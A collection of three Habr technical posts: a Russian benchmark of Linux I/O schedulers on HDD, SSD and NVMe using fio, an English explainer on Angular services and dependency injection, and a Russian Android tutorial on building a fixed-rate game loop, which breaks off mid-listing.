В первом случае используется очередь для запросов к устройству, общая для всех процессов. С одной стороны, такой подход позволяет использовать различные планировщики, которые в общей очереди могут переставлять запросы местами, замедляя одни и ускоряя другие, объединять несколько запросов к соседним блокам в единый запрос для снижения издержек. С другой стороны, при ускорении обработки запросов со стороны блочного устройства эта очередь становится узким местом: одним на всю операционную систему.
Во втором случае запрос отправляется напрямую в драйвер устройства. Конечно, это даёт возможность миновать общую очередь. Но в тоже время, возникает необходимость создавать свою очередь и планировать запросы внутри драйвера устройства. Такой вариант подходит для виртуальных устройств, которые обрабатывают запросы и перенаправляют транзитом на реальные устройства.
В последние несколько лет скорость обработки запросов блочными устройствами выросла, в связи с чем требования к операционной системе, как и к интерфейсу передачи данных, изменились.
В 2013 году был разработан третий вариант — multiqueue block layer (blk-mq).
Опишем архитектуру решения в общих чертах. Запрос сначала попадает в программную очередь. Количество этих очередей равно количеству ядер процессора. После прохождения программной очереди запрос попадает в очередь отправки. Количество очередей отправки уже зависит от драйвера устройства, который может поддерживать от 1 до 2048 очередей. Так как работа планировщика осуществляется на уровне программных очередей, то запрос из любой программной очереди может попасть в любую очередь отправки, предоставляемую драйвером.
Стандартные планировщики
------------------------
В большинстве современных дистрибутивов Linux доступны три стандартных планировщика: **noop**, **CFQ** и **deadline**.
Название **noop** — это сокращение от no operation, которое наводит на мысль о том, что этот планировщик ничего не делает. На самом деле это не так: noop реализует простую FIFO-очередь и объединение запросов к соседним блокам. Он не изменяет порядка следования запросов и в этом полагается на нижележащий уровень — например, на возможности Raid-контроллера по планированию.
**CFQ** (Completely fair queuing) работает сложнее. Он делит пропускную способность между всеми процессами. Для синхронных запросов создается по очереди на процесс. Асинхронные же запросы объединяются в очереди по приоритетам. В дополнение к этому CFQ сортирует запросы, чтобы минимизировать поиски секторов на диске. Время на выполнение запросов между очередями распределяется согласно приоритету, который можно настроить при помощи утилиты [ionice](https://linux.die.net/man/1/ionice). При настройке можно изменить как класс процесса, так и приоритет внутри класса. Мы не будем подробно останавливаться на [настройках](https://www.kernel.org/doc/Documentation/block/cfq-iosched.txt), отметим только, что этот планировщик обладает большой гибкостью, а настройка приоритета по процессам — весьма полезная вещь для ограничения выполнения административных задач в угоду пользовательским.
Планировщик **deadline** использует другую стратегию. За основу берется время нахождения запроса в очереди. Таким образом он гарантирует, что каждый запрос будет обслужен планировщиком. Так как большинство приложений блокируются именно на чтении, то deadline по умолчанию отдает приоритет запросам на чтение.
Механизм **blk-mq** был разработан после появления NVMe-дисков, когда стало ясно, что стандартные средства ядра не дают необходимой производительности. Он был добавлен в ядро 3.13, однако планировщики были написаны позже. В новейших версиях ядра Linux (≥4.12) имеются следующие планировщики для blk-mq: none, bfq, mq-deadline и kyber. Рассмотрим каждый из этих планировщиков подробнее.
Планировщики blk-mq: краткий обзор
----------------------------------
Используя blk-mq, можно действительно отключить планировщик, для этого достаточно установить его в none.
Про **BFQ** написано [достаточно много](https://habrahabr.ru/post/337102/), скажу только, что он наследует часть настроек и основной алгоритм от CFQ, привнося понятие бюджета и ещё несколько параметров для тюнинга.
**Mq-deadline** — это, как легко догадаться, реализация deadline с использованием blk-mq.
И последний вариант — [kyber](https://patchwork.kernel.org/patch/9672023/). Он был написан для работы с быстрыми устройствами. Используя две очереди — запросы на запись и на чтение, kyber отдает приоритет запросам на чтение, перед запросами на запись. Алгоритм измеряет время завершения каждого запроса и корректирует фактический размер очереди для достижения установленных в настройках задержек.
Тесты
-----
### Вводные замечания
Проверить работу планировщика не так просто. Простой однопоточный тест не покажет убедительных результатов. Есть два варианта тестирования — имитировать многопоточную нагрузку при помощи, например, fio; установить реальное приложение и проверить как оно себя покажет под нагрузкой.
Мы провели ряд синтетических тестов. Все они проводились со стандартными настройками самих планировщиков (такие настройки можно посмотреть в /sys/block/sda/queue/iosched/).
#### Какой кейс будем тестировать?
Мы будем создавать многопоточную нагрузку на блочное устройство. Нас будет интересовать наименьшая задержка (наименьшее значение параметра latency) при наибольшей скорости передачи данных. Будем считать, что в приоритете находятся запросы на чтение.
### Тесты HDD
Начнем с тестирования планировщиков с hdd-диском.
Для тестов HDD использовался сервер:
* 2 x Intel® Xeon® CPU E5-2630 v2 @ 2.40GHz
* 128 GB RAM
* Диск 8ТБ HGST HUH721008AL
* ОС Ubuntu linux 16.04, ядро 4.13.0-17-generic из официальных репозиториев
#### Параметры fio
```
[global]
ioengine=libaio
blocksize=4k
direct=1
buffered=0
iodepth=1
runtime=7200
random_generator=lfsr
filename=/dev/sda1
[writers]
numjobs=2
rw=randwrite
[reader_40]
rw=randrw
rwmixread=40
```
Из настроек видно, что, мы обходим кэширование, выставляем глубину очереди 1 для каждого процесса. Два процесса будет записывать данные в случайные блоки, один — писать и читать. Процесс, описанный в разделе **reader\_40** будет 40% запросов отправлять на чтение, остальные 60% — на запись (опция **rwmixread**).
Подробнее опции fio описаны на [man-странице](https://www.mankier.com/1/fio#Job_Parameters-I/O_latency).
Длительность теста — два часа (7200 секунд).
**Результаты теста**CFQ:
[](https://blog.selectel.ru/wp-content/uploads/2018/01/HDD-CFQ.png)
Deadline:
[](https://blog.selectel.ru/wp-content/uploads/2018/01/HDD-Deadline.png)
Noop:
[](https://blog.selectel.ru/wp-content/uploads/2018/01/HDD-Noop.png)
BFQ:
[](https://blog.selectel.ru/wp-content/uploads/2018/01/HDD-BFQ.png.png)
Mq-deadline:
[](https://blog.selectel.ru/wp-content/uploads/2018/01/HDD-Mq-deadline.png)
Kyber:
[](https://blog.selectel.ru/wp-content/uploads/2018/01/HDD-Kyber.png)
None:
[](https://blog.selectel.ru/wp-content/uploads/2018/01/HDD-None.png)
**Результаты теста в таблице**
| | | | |
| --- | --- | --- | --- |
| | writers randwrite | reader\_40 randwrite | reader\_40 read |
| CFQ | bw | 331 KB/s | 210 KB/s | 140 KB/s |
| iops | 80 | 51 | 34 |
| avg lat | 12.36 | 7.17 | 18.36 |
| deadline | bw | 330 KB/s | 210 KB/s | 140 KB/s |
| iops | 80 | 51 | 34 |
| avg lat | 12.39 | 7.2 | 18.39 |
| noop | bw | 331 KB/s | 210 KB/s | 140 KB/s |
| iops | 80 | 51 | 34 |
| avg lat | 12.36 | 7.16 | 18.42 |
| BFQ | bw | 384 KB/s | 208 KB/s | 139 KB/s |
| iops | 93 | 50 | 33 |
| avg lat | 10.65 | 6.28 | 20.03 |
| mq-deadline | bw | 333 KB/s | 211 KB/s | 142 KB/s |
| iops | 81 | 51 | 34 |
| avg lat | 12.29 | 7.08 | 18.32 |
| kyber | bw | 385 KB/s | 193 KB/s | 129 KB/s |
| iops | 94 | 47 | 31 |
| avg lat | 10.63 | 9.15 | 18.01 |
| none | bw | 332 KB/s | 212 KB/s | 142 KB/s |
| iops | 81 | 51 | 34 |
| avg lat | 12.3 | 7.1 | 18.3 |
*\*здесь и далее в столбце writers взята медиана от потоков writers, аналогично в столбцах reader\_40. Значение задержки в миллисекундах.*
Взглянем на результаты тестов традиционных (single-queue) планировщиков. Значения, полученные в результате тестов, практически не отличаются друг от друга. Нужно отметить, что всплески latency, которые встречаются на графиках тестов deadline и noop возникали и при тестах CFQ, хотя и реже. При тестировании blk-mq планировщиков этого не наблюдалось, максимальная величина задержки достигала целых 11 секунд, вне зависимости от типа запросов — запись или чтение.
Всё гораздо интереснее при использовании blk-mq-планировщиков. Нас в первую очередь интересует задержка обработки запросов на чтение данных. В контексте такой задачи в худшую сторону отличается BFQ. Максимальное значение задержки для этого планировщика доходило до 6 секунд на запись и до 2.5 секунд на чтение. Наименьшее максимальное значение задержки показал kyber — 129мс на запись и 136 на чтение. На 20мс больше максимальная задержка при none для всех потоков. Для mq-deadline она составила 173мс на запись и 289мс на чтение.
Как показывают результаты, достичь какого-то значимого снижения задержки путем смены планировщика не удалось. Зато можно выделить планировщик BFQ, показавший хороший результат в плане количества записанных/считанных данных. С другой стороны, при взгляде на график, полученный при тестировании BFQ, кажется странным неравномерное распределение нагрузки на диск, при том, что нагрузка со стороны fio достаточно равномерная и однообразная.
### Тесты SSD
Для тестов SSD использовался сервер:
* Intel® Xeon® CPU E5-1650 v3 @ 3.50GHz
* 64 GB RAM
* 1.6TB INTEL Intel SSD DC S3520 Series
* ОС Ubuntu linux 14.04, ядро 4.12.0-041200-generic ([kernel.ubuntu.com](http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.12/))
#### Параметры fio
```
[global]
ioengine=libaio
blocksize=4k
direct=1
buffered=0
iodepth=4
runtime=7200
random_generator=lfsr
filename=/dev/sda1
[writers]
numjobs=10
rw=randwrite
[reader_20]
numjobs=2
rw=randrw
rwmixread=20
```
Тест похож на предыдущий для hdd, но отличается количеством процессов, которые будут обращаться к диску — 10 на запись и два на запись и чтение и соотношением записи/чтения 80/20, а также глубиной очереди. На накопителе был создан раздел, объемом в 1598GB, два гигабайта оставлено не задействованными.
**Результаты теста**CFQ:
[](https://blog.selectel.ru/wp-content/uploads/2018/01/SSD-CFQ.png)
Deadline:
[](https://blog.selectel.ru/wp-content/uploads/2018/01/SSD-Deadline.png)
Noop:
[](https://blog.selectel.ru/wp-content/uploads/2018/01/SSD-Noop.png)
BFQ:
[](https://blog.selectel.ru/wp-content/uploads/2018/01/SSD-BFQ.png)
Mq-deadline:
[](https://blog.selectel.ru/wp-content/uploads/2018/01/SSD-Mq-deadline.png)
Kyber:
[](https://blog.selectel.ru/wp-content/uploads/2018/01/SSD-kyber.png)
None:
[](https://blog.selectel.ru/wp-content/uploads/2018/01/SSD-none.png)
**Результаты теста в таблице**
| | | | |
| --- | --- | --- | --- |
| | writers randwrite | reader\_20 randwrite | reader\_20 read |
| CFQ | bw | 13065 KB/s | 6321 KB/s | 1578 KB/s |
| iops | 3265 | 1580 | 394 |
| avg lat | 1.223 | 2.000 | 2.119 |
| deadline | bw | 12690 KB/s | 10279 KB/s | 2567 KB/s |
| iops | 3172 | 2569 | 641 |
| avg lat | 1.259 | 1.261 | 1.177 |
| noop | bw | 12509 KB/s | 9807 KB/s | 2450 KB/s |
| iops | 3127 | 2451 | 613 |
| avg lat | 1.278 | 1.278 | 1.405 |
| BFQ | bw | 12803 KB/s | 10000 KB/s | 2497 KB/s |
| iops | 3201 | 2499 | 624 |
| avg lat | 1.248 | 1.248 | 1.398 |
| mq-deadline | bw | 12650 KB/s | 9715 KB/s | 2414 KB/s |
| iops | 3162 | 2416 | 604 |
| avg lat | 1.264 | 1.298 | 1.423 |
| kyber | bw | 8764 KB/s | 8572 KB/s | 2141 KB/s |
| iops | 2191 | 2143 | 535 |
| avg lat | 1.824 | 1.823 | 0.167 |
| none | bw | 12835 KB/s | 10174 KB/s | 2541 KB/s |
| iops | 3208 | 2543 | 635 |
| avg lat | 1.245 | 1.227 | 1.376 |
Обратим внимание на среднюю задержку на чтение. Среди всех планировщиков здесь сильно выделяется kyber, показавший наименьшую задержку, и CFQ — наибольшую. Kyber создавался для работы с быстрыми устройствами и нацелен на снижение задержки в целом, с приоритетом для синхронных запросов. Для запросов на чтение, задержка очень низкая при этом объем прочитанных данных меньше, чем при использовании других планировщиков (за исключением CFQ).
Попробуем сравнить разницу в количестве считываемых в секунду данных между kyber и, например, deadline, а также разницу в задержке на чтение между ними. Мы видим, что kyber показал в 7 раз меньшую задержку на чтение, чем deadline, при этом уменьшение пропускной способности на чтение всего в 1.2 раза. В то же время, kyber показал результаты хуже для запросов на запись — в 1.5 увеличение задержки и уменьшение пропускной способности в 1.3 раза.
Наша исходная задача заключается в получении наименьшей задержки на чтение с наименьшим ущербом пропускной способности. По результатам тестов можно считать, что лучше других планировщиков для решения этой задачи подходит kyber.
Интересно отметить, что CFQ и BFQ показали сравнительно низкую задержку на запись, но при этом при работе CFQ наибольший приоритет получили процессы, которые выполняли только запись на диск. Какой вывод можно из этого сделать? Вероятно, BFQ более “честно” распределяет приоритет для запросов, как и заявлено разработчиками.
Максимальное значение latency было гораздо выше для \*FQ планировщиков и mq-deadline — до ~3.1 секунд для CFQ и до ~2.7 секунд для BFQ и mq-deadline. Для остальных планировщиков максимальная задержка во время тестов составила 35-50 мс.
### Тесты NVMe
Для тестов NVMe накопитель Micron 9100 был установлен в сервер, на котором проводились тесты SSD Разметка диска аналогична SSD — раздел под тест 1598GB и 2GB неиспользуемого пространства. Использовались такие же, как и в предыдущем тесте, настройки fio, только глубина очереди (iodepth) была увеличена до 8.
```
[global]
ioengine=libaio
blocksize=4k
direct=1
buffered=0
iodepth=8
runtime=7200
random_generator=lfsr
filename=/dev/nvme0n1p1
[writers]
numjobs=10
rw=randwrite
[reader_20]
numjobs=2
rw=randrw
rwmixread=20
```
**Результаты теста**[](https://blog.selectel.ru/wp-content/uploads/2018/01/NVMe.png)
**Результаты теста в таблице**
| | | | |
| --- | --- | --- | --- |
| | writers randwrite | reader\_20 write | reader\_20 read |
| BFQ | bw | 45752 KB/s | 30541 KB/s | 7634 KB/s |
| iops | 11437 | 7635 | 1908 |
| avg lat | 0.698 | 0.694 | 1.409 |
| mq-deadline | bw | 46321 KB/s | 31112 KB/s | 7777 KB/s |
| iops | 11580 | 7777 | 1944 |
| avg lat | 0.690 | 0.685 | 1.369 |
| kyber | bw | 30460 KB/s | 27709 KB/s | 6926 KB/s |
| iops | 7615 | 6927 | 1731 |
| avg lat | 1.049 | 1.000 | 0.612 |
| none | bw | 45940 KB/s | 30867 KB/s | 7716 KB/s |
| iops | 11484 | 7716 | 1929 |
| avg lat | 0.695 | 0.694 | 1.367 |
На графике показаны результаты тестирования со сменой планировщика и паузой. Порядок тестирования: none, kyber, mq-deadline, BFQ.
В таблице и на графике опять же видна активная работа алгоритма kyber по снижению задержки: 0.612мс против 1.3-1.4 для остальных планировщиков. В основном считается, что для NVMe-дисков нет смысла использовать какой-либо планировщик, но если в приоритете стоит снижение задержки и можно пожертвовать количеством операций ввода-вывода, то имеет смысл рассмотреть kyber. Глядя на графики, можно заметить рост нагрузки на CPU при использовании BFQ (тестировался последним).
Выводы и рекомендации
---------------------
Наша статья представляет собой очень общее введение в тему. Да и все данные наших тестов следует принимать с учётом того обстоятельства, что в реальной практике всё гораздо сложнее, чем в экспериментальных условиях. Всё зависит от целого ряда факторов: тип нагрузки, используемая файловая система и многое другое. Очень многое зависит и от аппаратной составляющей: модель дисков, RAID/HBA/JBOD.
Говоря в общих чертах: если приложение использует ioprio для приоритизации конкретных процессов, то выбор планировщика в сторону CFQ/BFQ будет оправдан. Но всегда стоит исходить из типа нагрузки и состава всей дисковой подсистемы. Для некоторых решений разработчики дают вполне конкретные рекомендации: например, для clickhouse [рекомендуют](https://clickhouse.yandex/docs/ru/operations/tips.html#raid) использовать CFQ для HDD и noop для SSD дисков. Если же от дисков требуется большая пропускная способность, возможность выполнять больше операций ввода-вывода и средняя задержка не важна, тогда стоит смотреть в сторону BFQ/CFQ, а для ssd-дисков также noop и none.
Если же необходимо снижение задержки и каждая операция в отдельности, а в особенности — операция чтения, должна выполняться максимально быстро, то, помимо использования ssd, стоит использовать специально предназначенный для этого планировщик deadline, или один из новых — mq-deadline, kyber.
Наши рекомендации носят общий характер и подходят далеко не для всех случаев. При выборе планировщика, на наш взгляд, необходимо учитывать следующие моменты:
1. Не последнюю роль играет аппаратная составляющая: вполне возможна ситуация, когда RAID-контроллер использует вшитые алгоритмы планирования запросов — в этом случае будет вполне оправдан выбор планировщика none или noop.
2. Очень важен тип нагрузки: не в экспериментальных, а в “боевых условиях” приложение может показать другие результаты. Используемая для тестов утилита fio держит постоянную одинаковую нагрузку, но в реальной практике приложения редко обращаются к диску однообразно и постоянно. Реальная глубина очереди, средняя за минуту, может держаться в диапазоне 1-3, но в пиках подниматься до 10-13-150 запросов. Всё зависит от типа нагрузки.
3. Мы тестировали только запись/чтение случайных блоков данных, а при работе планировщиков важна последовательность. При линейной нагрузке можно получить большую пропускную способность, если планировщик хорошо группирует запросы.
4. У каждого планировщик есть опции, которые можно настраивать дополнительно. Все они описаны в [документации](https://www.kernel.org/doc/Documentation/block/) к планировщикам.
Внимательный читатель наверняка заметил, что мы использовали разные ядра для тестирования планировщиков для HDD и SSD/NVMe дисков. Дело в том, что во время тестирования на ядре 4.12 с HDD работа планировщиков BFQ и mq-deadline выглядела достаточно странно — задержка то уменьшалась, то вырастала и сохраняла очень высокие значения в течение нескольких минут. Так как такое поведение выглядело не совсем адекватным и вышло ядро 4.13, мы решили провести тесты с HDD на новом ядре.
Не стоит забывать, что код планировщиков может измениться. В следующем релизе ядра окажется, что тот механизм, из-за которого на вашей нагрузке конкретный планировщик показывал деградацию производительности, уже переписан и теперь, как минимум, не снижает производительность.
Особенности работы планировщиков ввода-вывода в Linux — тема сложная, и в рамках одной публикации её вряд ли можно рассмотреть. Мы планируем вернуться к этой теме в следующих статьях. Если у вас есть опыт тестирования планировщиков в боевых условиях, мы будем рады прочитать о нем в комментариях. | https://habr.com/ru/post/346844/ | null | ru | null |
# Diving Into Angular Services
When building any kind of application, it is often seen that a certain functionality is needed again and again at different points. It could be the functionality to display something in a certain way or retrieve data from a source, to name a few examples. Such a common case like this can appear in all kinds of development, be it front-end or back-end. A robust front-end development framework like Angular handles such a case by allowing the development of objects that can be imported by any part as needed. These objects can extract some common logic or data are known as services.
This article helps you understand what Angular services are and what are the different kinds of use-cases they can be used in. Angular services are not limited to one particular type of job and can contain methods that are repeatedly required by different components of the application. Afterward, this article will show what it is like to code service and what makes it accessible to any of the components.
### The Gist Of What Angular Services Are
Given how fundamental components are to Angular applications, it is important to briefly go through them to further understand any other concept, like services. Apart from that, components and services are often confused with each other as well. Hence, it is necessary to refresh our understanding of components.
Components are the very backbone of Angular applications. All the different functionalities or visual elements of the application are attributed to a component. Every component contains the working logic for the functionality or visual element and the instructions for its visual rendering. Every Angular application is based on a tree of components. In the component tree, every component working is dependent on or consists of, other component(s).
For their working logic, components often need functions and methods that can get them data from a specific source or save that data. Such functions could come in handy for the other components as well. To make them accessible to all components, they are coded into objects called **services**. These services, or other classes, become the **dependency** of the components that require them. The main aim of services is to make them modular, testable, and reusable. Services are also used as communication channels between components, as they are accessible to all.
Notice that the main difference between components and services comes in the fact that the latter does not do anything related to the UI. Along with that, As a rule of thumb, it is often advised that all the working logic of the application should be implemented as services. Aspects that involve the UI in any way, such as taking user input, should be made through components. Angular itself offers built-in services that can be used, such as the HTTP service to send data requests.
### Creating And Using Angular Services
As discussed above, service becomes a component’s dependency if the component is utilizing the service. Angular provides a system through which a component requests the provision of a service through a **provider**, rather than creating it, at instantiation. Such a design pattern is called **dependency injection**. However, there can also be services not injectable and can be directly imported wherever needed. The service itself is created in a way given in the following example.
```
import { Injectable } from '@angular/core';
@Injectable({
providedIn: 'root',
})
export class ExampleService {
constructor() { }
}
```
The ***@Injectable*** decorator specifies the following class as something that can be injected. The ***providedIn*** attribute is given a value of ***'root'***, which means it is accessible for all. If a certain component is to use a service, it needs to include it and its return type in the constructor.
```
constructor(private service: ExampleService) { }
```
In particular, the component would be specifying its dependency on the service as in the above example and using the service like in the following one.
```
@Component({
selector: 'dashboard',
templateUrl: './dashboard.component.html',
styleUrls: ['./dashboard.component.css']
})
export class DashboardComponent implements OnInit {
variables: string;
constructor(private service: ExampleService) {
this.variables = service.get();
}
```
A service can have another service as a dependency. That particular case is handle in the exact same way. That is, the service class’ constructor has the other service as a parameter.
Some important tips regarding using the dependency injection system and services are as follows:
1. Keep your service focused on one application. Trying to make a do-it-all service that can juggle all kinds of functionalities will become hard to maintain and eventually test.
2. The service ought to be justified. If the service is hardly used more than once throughout the application, maybe it needs to be reconsidered. This would unnecessarily increase the load on the dependency injection system and the overall complexity.
3. The design of the services should be consistent. If multiple services have a similar working, they should be coded similarly as well, such as similar names and design of methods.
### Testing Angular Services The Right Way
As services are going to contain most of the application logic, the unit testing of Angular applications must also focus on ensuring they are working as intended. Services can be tested by injecting them into the testing classes being used and checking for valid outcomes, such as the right data being fetched. In addition to that, the providers of the service need to be checked as well. Angular’s TestBed part of its testing utilities can be used to create a test module that is injected with the particular service being tested. Apart from that, Angular also provides a dedicated HttpClientTestingModule that can be used to particularly test the HTTP class by a service.
Services also come to play in the testing of a component, if it is its dependency. The testing of such a component can be done either so that it involves using the service or that it uses a fake service. The latter part can give better access to the workings of a component and the values it is receiving through the API via a service.
### Conclusion
As you saw in this article, services are the second foundational element of an Angular application after components. A fine balance between both of them, with each given the dedicated responsibilities, can result in a most smooth Angular application. Creating services to handle all of the application logic will help create a more modular application that encourages code reusability throughout. This article discussed how a service is made accessible on different hierarchical levels. It also gave tips on coding the most efficient services along with giving exact syntax. It also showed what the testing process of services looks like and how it can be used to better test components. | https://habr.com/ru/post/561342/ | null | en | null |
# Игровой цикл
Очень важно, какой тип игры вы создаете. Если игра динамическая, нам нужно всё время обновлять картинку на устройстве. Это значит, что сначала нужно создать её, применив новые координаты объектов, а затем вывести на экран. Наше зрение устроено так, что если мы будем делать это меньше, чем за 0,04 с, то нам будет казаться движение объектов непрерывным. Но объекты могут быть разными по сложности прорисовки, а устройства, на которых вы играете – разными по быстродействию.
Может так случиться, что на одних планшетах или мобильниках наше приложение будет «летать», так что пользователь не будет даже успевать играть, а на других – будет тормозить так, что пользователь, скорей всего, удалит её со своего устройства. Возникает мысль, проходить один игровой цикл за 0,04 с (25 кадров (циклов) в секунду) на всех устройствах. Всё было бы хорошо, если бы все устройства могли это сделать. Представьте, что у вас 10 динамических объектов в игре, которые взаимодействуют между собой, порождая новые объекты, например, взрыв при столкновении. Также надо не забыть воспроизводить звуки и реагировать на включения пользователя в игру. Я уже не говорю о реалистичной графике окружающего мира.
Что же делать, если наше устройство не успевает в какой-то сцене создать игровой цикл? Решений несколько, ниже рассмотрено одно из них.
#### Создаем игровой цикл
Основная идея заключается в том что, если реальное время прорисовки кадра больше, чем расчетное время обновления кадров (то есть система не успевает), мы жертвуем этим кадром и увеличиваем время на прорисовку следующего кадра. Если система сразу успевает прорисовывать кадр, то она будет делать это максимально быстро, но поток будет приостанавливается на время опережения, чтобы количество кадров, а точнее скорость выполнения программы, было заданным, и не зависела от быстродействия самого устройства.
Такой подход позволяет снизить энергозатраты устройства и воспроизводить игру примерно одинаково на разных устройствах. На частоте обновления 25 кадров в секунду, я замечал неприятные подергивания объектов на телефоне с андроид 2.2.1 (особенно, если они перемещаются быстро), а вот при 30 кадров в секунду всё было хорошо. При 50 кадров в секунду на планшете с андроид 4.2.2 всё работало прекрасно, а вот на телефоне были иногда были заметны пропуски кадров, особенно при большой скорости объекта.
Рассмотрим более подробно наш код.
Создаем класс MainThread, который наследуется от класса Thread. В дальнейшем мы будем вызывать его в игровом классе GameView.
```
public class MainThread extends Thread {
```
```
public class MainThread extends Thread {
```
Задаемся количеством кадров в секунду (MAX\_FPS) равным 30.
```
private final static int MAX_FPS = 30; // desired fps
```
Пусть максимальное количество кадров в секунду, которым мы готовы пожертвовать (пропустить) при отображении равно 4. Это число фактически найдено мною экспериментально, вы можете поиграться с этими числами.
```
// maximum number of frames to be skipped
```
```
private final static int MAX_FRAME_SKIPS = 4;
```
Рассчитаем в миллисекундах продолжительность отображения кадра.
```
private final static int FRAME_PERIOD = 1000 / MAX_FPS; // the frame period
```
Объявляем метод, который создает поверхность, на которой будут прорисовываться объекты.
```
private SurfaceHolder surfaceHolder; // Surface holder that can access the physical surface
```
Объявляем класс, который будет рисовать объекты и обновлять их координаты.
```
private GameView gameView;// The actual view that handles inputs and draws to the surface
```
Объявляем переменную состояния игры, если она равна true, то поток проигрывается.
```
private boolean running; // flag to hold game state
public void setRunning(boolean running) {
this.running = running;
}
```
Создаем конструктор класса.
```
public MainThread(SurfaceHolder surfaceHolder, GameView gameView) {
super();
this.surfaceHolder = surfaceHolder;
this.gameView = gameView;
}
@ Override
public void run() {
Canvas canvas;
long beginTime; // the time when the cycle begun
long timeDiff; // the time it took for the cycle to execute
int sleepTime;// ms to sleep (<0 if we're behind)
int framesSkipped;// number of frames being skipped
sleepTime = 0;
while (running) {
canvas = null; // try locking the canvas for exclusive pixel editing in the surface
try {
canvas = this.surfaceHolder.lockCanvas();
synchronized (surfaceHolder) {
beginTime = System.currentTimeMillis(); //Returns the current time in milliseconds since January 1, 1970 00:00:00.0 UTC.
framesSkipped = 0; // resetting the frames skipped
// update game state
this.gameView.update();
// render state to the screen draws the canvas on the panel
this.gameView.render(canvas);
timeDiff = System.currentTimeMillis() - beginTime; // calculate how long did the cycle take
// calculate sleep time
sleepTime = (int)(FRAME_PERIOD - timeDiff);
if (sleepTime > 0) { // if sleepTime > 0 we're OK
try {
// send the thread to sleep for a short period
// very useful for battery saving
Thread.sleep(sleepTime);
} catch (InterruptedException e) {}
}
while (sleepTime < 0 && framesSkipped < MAX_FRAME_SKIPS) {
// we need to catch up
this.gameView.update(); // update without rendering
sleepTime += FRAME_PERIOD; // add frame period to check if in next frame
framesSkipped++;
}
}
} finally {
// in case of an exception the surface is not left in
// an inconsistent state
if (canvas != null) {
surfaceHolder.unlockCanvasAndPost(canvas);
}
} // end finally
}
}
}
```
Теперь рассмотрим подробнее, что делает класс GameView.
```
public class GameView extends SurfaceView implements SurfaceHolder.Callback {
private final Drawable mAsteroid;
private int widthAsteroid;
private int heightAsteroid;
private int leftAsteroid;
private int xAsteroid1 = 30;
private int rightAsteroid;
private int topAsteroid;
private int yAsteroid = -30;
private int bottomAsteroid;
private int centerAsteroid;
private int height;
private int width;
private int speedAsteroid = 5;
private int xAsteroid;
private MainThread thread;
public GameView(Context context) {
super(context);
// adding the callback (this) to the surface holder to intercept events
getHolder().addCallback(this);
// create mAsteroid where adress of picture asteroid is located
mAsteroid = context.getResources().getDrawable(R.drawable.asteroid);
// create the game loop thread
thread = new MainThread(getHolder(), this);
}
```
Данный метод позволяет менять поверхность прорисовки, например, когда поворачиваем экран.
```
@Override
public void surfaceChanged(SurfaceHolder holder, int format, int width,int height) {
}
```
Метод создающий поверхность для рисования.
```
@Override
public void surfaceCreated(SurfaceHolder holder) {
thread.setRunning(true);
thread.start();
}
```
Метод удаляет поверхность для рисования в случае остановки потока.
```
@Override
public void surfaceDestroyed(SurfaceHolder holder) {
thread.setRunning(false);
boolean retry = true;
while (retry) {
try {
thread.join();
retry = false;
}
catch (InterruptedException e) {
// try again shutting down the thread
}
}
}
```
В данном методе мы прорисовываем наши объекты на поверхности экрана.
```
public void render(Canvas canvas) {
```
Создаем темно-голубой фон.
```
canvas.drawColor(Color.argb(255, 2, 19, 151));
```
Узнаем высоту и ширину экрана устройства, чтобы потом масштабировать размеры объектов в зависимости от размера экрана.
```
height = canvas.getHeight();
width = canvas.getWidth();
```
Задаем основные размеры астероида (ширину и высоту картинки). Левый край привязываем к координате по Х, вершину картинки привязываем к координате по У. Таким образом, мы определили координаты левого верхнего угла картинки. Когда мы будем менять эти координаты, картинка начнет двигаться. Не забудьте положить в папку drawable рисунок астероида в формате png.
```
//Work with asteroid
widthAsteroid = 2 * width / 13;//set width asteroid
heightAsteroid = widthAsteroid;
leftAsteroid = xAsteroid; //the left edge of asteroid
rightAsteroid = leftAsteroid + widthAsteroid;//set right edge of asteroid
topAsteroid = yAsteroid;
bottomAsteroid = topAsteroid + heightAsteroid;
centerAsteroid = leftAsteroid + widthAsteroid / 2;
mAsteroid.setBounds(leftAsteroid, topAsteroid, rightAsteroid, bottomAsteroid);
mAsteroid.draw(canvas);
}
```
Обновляем координаты картинки, заставляя её двигаться сверху вниз. Если координата по У левого верхнего угла картинки стала больше, чем высота экрана, то обнуляем У и астероид скачком появляется вверху экрана. Чтобы астероид летел вниз мы каждый игровой цикл прибавляем к координате число speedAsteroid, которое в свою очередь определяем по случайному закону от 5 до 15 (speedAsteroid = 5+ rnd.nextInt(10);).
```
public void update() {
if (yAsteroid > height) {
yAsteroid = 0;
// find by random function Asteroid & speed Asteroid
Random rnd = new Random();
xAsteroid = rnd.nextInt(width - widthAsteroid);
speedAsteroid = 5+ rnd.nextInt(10);
} else {
yAsteroid +=speedAsteroid;
}
}
}
```
Чтобы астероид не вылетал каждый раз с одного и того же места, координату по Х определяем по случайному закону в пределах ширины экрана минус ширина астероида. В момент запуска приложения, астероид вылетает с начальными координатами, которые мы задали при объявлении переменных private int xAsteroid = 30; private int yAsteroid = -30;. В дальнейшем скорость полета и начальная координата меняются по случайному закону.
#### Файлы приложения на данный момент
*AhdroidManifest.xml*
```
xml version="1.0" encoding="utf-8"?
```
*GameView.java*
```
package com.adc2017gmail.moonbase;
import android.content.Context;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.drawable.Drawable;
import android.view.SurfaceHolder;
import android.view.SurfaceView;
import java.util.Random;
public class GameView extends SurfaceView implements SurfaceHolder.Callback {
private final Drawable mAsteroid;
private int widthAsteroid;
private int heightAsteroid;
private int leftAsteroid;
private int rightAsteroid;
private int topAsteroid;
private int yAsteroid = -30;
private int bottomAsteroid;
private int centerAsteroid;
private int height;
private int width;
private int speedAsteroid = 5;
private int xAsteroid = 30;
private MainThread thread;
public GameView(Context context) {
super(context);
// adding the callback (this) to the surface holder to intercept events
getHolder().addCallback(this);
// create mAsteroid where adress picture asteroid
mAsteroid = context.getResources().getDrawable(R.drawable.asteroid);
// create the game loop thread
thread = new MainThread(getHolder(), this);
}
@Override
public void surfaceChanged(SurfaceHolder holder, int format, int width,int height) {
}
@Override
public void surfaceCreated(SurfaceHolder holder) {
thread.setRunning(true);
thread.start();
}
@Override
public void surfaceDestroyed(SurfaceHolder holder) {
thread.setRunning(false);
boolean retry = true;
while (retry) {
try {
thread.join();
retry = false;
}
catch (InterruptedException e) {
// try again shutting down the thread
}
}
}
public void render(Canvas canvas) {
canvas.drawColor(Color.argb(255, 2, 19, 151));
height = canvas.getHeight();
width = canvas.getWidth();
//Work with asteroid
widthAsteroid = 2 * width / 13;//set width asteroid
heightAsteroid = widthAsteroid;
